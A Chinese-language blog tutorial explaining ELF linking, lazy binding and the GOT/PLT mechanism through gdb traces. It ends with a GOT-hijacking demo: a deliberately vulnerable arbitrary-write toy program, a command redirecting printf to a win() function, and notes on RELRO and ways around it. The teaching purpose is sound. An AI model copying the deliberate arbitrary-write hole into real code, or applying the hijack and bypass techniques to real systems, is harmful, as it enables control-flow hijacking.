链接
在程序从源代码到生成最终的可执行程序,会大体经历编译、汇编、链接三个阶段。编译将源代码转换成为汇编语言(例如.s后缀的文件),汇编阶段将汇编语言转换成机器码(例如.o文件)。链接阶段会合并多个目标文件(上一阶段生成的.o)以及静(动)态链接库中的代码数据等信息,修复文件之间的引用关系,最后生成可执行程序。
在链接这个过程中,静态链接库的代码和数据会被拷贝一份到可执行程序中。动态链接库则只是包含有引用关系,在程序运行时再通过动态链接加载。
动态链接库比如Linux中的.so,Windows中的.dll,macOS中的.dylib文件。静态链接库比如.lib、.a文件。
延迟绑定
正如由于我们在[链接]部分提到的,采用动态链接库的话,那么在二进制程序中,引用外部库函数的地方,都只是占位符,并不实际指向函数地址。那么在程序启动时,就需要花费大量的时间对函数进行连接,比如模块间函数引用的符号查找、重定位等,这样的做法非常影响程序的性能。而且也并不是程序的每一个分支,都会在运行过程中被使用到。没有运行到的这部分即使没有被链接,也不会有任何影响,反而消耗了程序的性能。
延迟绑定机制就是针对上述情况的缓解方案,当外部函数第一次被调用的时候,才会进行绑定(符号查找,重定位等链接)。如果函数在整个程序运行过程中,都没有被调用,那么它就不会进行绑定。这样的机制在保留动态链接的优势下,还可以加快程序的启动速度。
GOT表(Global Offset Table,全局偏移表)
GOT表位于.got和.got.plt Section
- .got Section 存放外部全局变量的GOT表,程序运行开始就会被加载进来,非延迟绑定,例如stdin/stderr等。
- .got.plt Section中存放的是外部函数的GOT表,例如printf,使用延迟绑定机制。
.plt Section (Procedure Linkage Table,程序链接表)对应存放的是.got.plt中所有外部函数对应的plt代码。
调试
我们用最简单的代码来认识一下延迟绑定的过程以及GOT表是如何工作的。
1 2 3 4 5
| #include <stdio.h> int main() { puts("hello harpersu00!\n"); }
|
使用命令 gcc test.c -m32
将上面的示例编译成a.out可执行文件ELF格式。
然后使用 objdump -s -d a.out
命令查看各个section以及反汇编代码。
.plt section 如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Disassembly of section .plt:
080482d0 <.plt>: 80482d0: ff 35 04 a0 04 08 pushl 0x804a004 //push link_map 80482d6: ff 25 08 a0 04 08 jmp *0x804a008 //jump to _dl_runtime_resolve 80482dc: 00 00 add %al,(%eax) ...
080482e0 <puts@plt>: 80482e0: ff 25 0c a0 04 08 jmp *0x804a00c //值为0x80482e6 80482e6: 68 00 00 00 00 push $0x0 80482eb: e9 e0 ff ff ff jmp 80482d0 <.plt>
080482f0 <__libc_start_main@plt>: 80482f0: ff 25 10 a0 04 08 jmp *0x804a010 80482f6: 68 08 00 00 00 push $0x8 80482fb: e9 d0 ff ff ff jmp 80482d0 <.plt>
|
.got.plt section :
1 2 3
| Contents of section .got.plt: 804a000 149f0408 00000000 00000000 e6820408 ................ 804a010 f6820408
|
我们通过 gdb a.out
命令来调试程序,可以看得更清晰一点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| (gdb) disassemble main Dump of assembler code for function main: 0x0804840d <+0>: push %ebp 0x0804840e <+1>: mov %esp,%ebp 0x08048410 <+3>: and $0xfffffff0,%esp 0x08048413 <+6>: sub $0x10,%esp 0x08048416 <+9>: movl $0x80484c4,(%esp) 0x0804841d <+16>: call 0x80482e0 <puts@plt> //在这个地址下断点 0x08048422 <+21>: leave 0x08048423 <+22>: ret End of assembler dump. (gdb) break *0x804841d //下断点 Breakpoint 1 at 0x804841d (gdb) display /3i $eip //断点处打印$eip之后的3行内容 (gdb) r Starting program: /xxx/a.out
Breakpoint 1, 0x0804841d in main () 1: x/3i $eip => 0x804841d <main+16>: call 0x80482e0 <puts@plt> 0x8048422 <main+21>: leave 0x8048423 <main+22>: ret Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686 (gdb) si //进入.plt section 0x080482e0 in puts@plt () 1: x/3i $eip => 0x80482e0 <puts@plt>: jmp *0x804a00c 0x80482e6 <puts@plt+6>: push $0x0 0x80482eb <puts@plt+11>: jmp 0x80482d0 (gdb) x/wx 0x804a00c //跳到puts@plt+0x6的位置 0x804a00c: 0x080482e6 (gdb) x/4wx 0x804a000 //查看.got.plt表的内容, 0x804a00c就是puts函数在got表中的地址 0x804a000: 0x08049f14 0xf7ffd900 0xf7fefea0 0x080482e6
|
.got.plt表中存放的是每个外部函数的地址,在延迟绑定之前,存放的是该外部函数在.plt表中的地址+0x6;在绑定之后,存放的是该函数的实际地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| (gdb) b *0x08048422 //在puts函数调用之后下断点 Breakpoint 2 at 0x8048422 (gdb) c Continuing. hello harpersu00!
Breakpoint 2, 0x08048422 in main () 1: x/3i $eip => 0x8048422 <main+21>: leave 0x8048423 <main+22>: ret 0x8048424: xchg %ax,%ax (gdb) x/4wx 0x804a000 //.got表中的函数地址改变了,变成了函数的实际地址 0x804a000: 0x08049f14 0xf7ffd900 0xf7fefea0 0xf7e60a40 (gdb) x/wx 0x804a00c //puts函数在got表中的地址 0x804a00c: 0xf7e60a40 (gdb) p puts //puts函数的实际地址 $2 = {<text variable, no debug info>} 0xf7e60a40 <puts>
|
所以整个过程就是,
函数第一次被调用处 -> .plt表中(puts@plt) -> 跳转到 .got表中函数偏移处记录的地址,即puts@plt+0x6 -> 跳转到.plt表的首地址,进行符号解析加载 -> 修改.got表中的函数地址为实际地址。
函数第二次调用 -> .plt表中(puts@plt) -> 跳转到 .got表中函数偏移处记录的地址,函数的真实地址。
那么,如果我们修改了.got表中该函数偏移处的地址,就会跳转到我们设定的地址处执行啦,这就是GOT表劫持。
GOT表劫持实现
原理: 因为延迟绑定机制会回写GOT表,因此开启延迟绑定,则GOT表是可写的,GOT表所在的内存有w权限。如果漏洞利用可以改写GOT表,那么就可以劫持PC,跳转到自己写的code上取执行。
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <stdio.h> #include <stdlib.h>
void win() { puts("You Win!"); }
void main() { unsigned int addr, value; scanf("%x=%x", &addr, &value); *(unsigned int *)addr = value; printf("set %x=%x\n", addr, value); }
|
同样使用 gcc test.c -m32 -o hijack_got
命令编译源文件,得到 hijack_got可执行文件。
1 2 3 4 5 6 7
| [user@xx]# objdump -R hijack_got | grep printf 0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0 [user@xx]# objdump -d hijack_got | grep win 0804848d <win>: [user@xx]# ./hijack_got 0804a00c=0804848d You Win!
|
上述示例通过将printf的.got表地址修改为win函数的地址,从而实现GOT表劫持。
缓解措施
通过编译选项 gcc -z,relro,可以设置重定位只读。这样在进入main()函数之前,所有的外部函数都会被解析,对于外部函数很多的程序,效率会明显降低。
绕过Relocation Read Only:
- 劫持开启该保护的动态库的GOT表,例如libc
- 改写函数指针或返回地址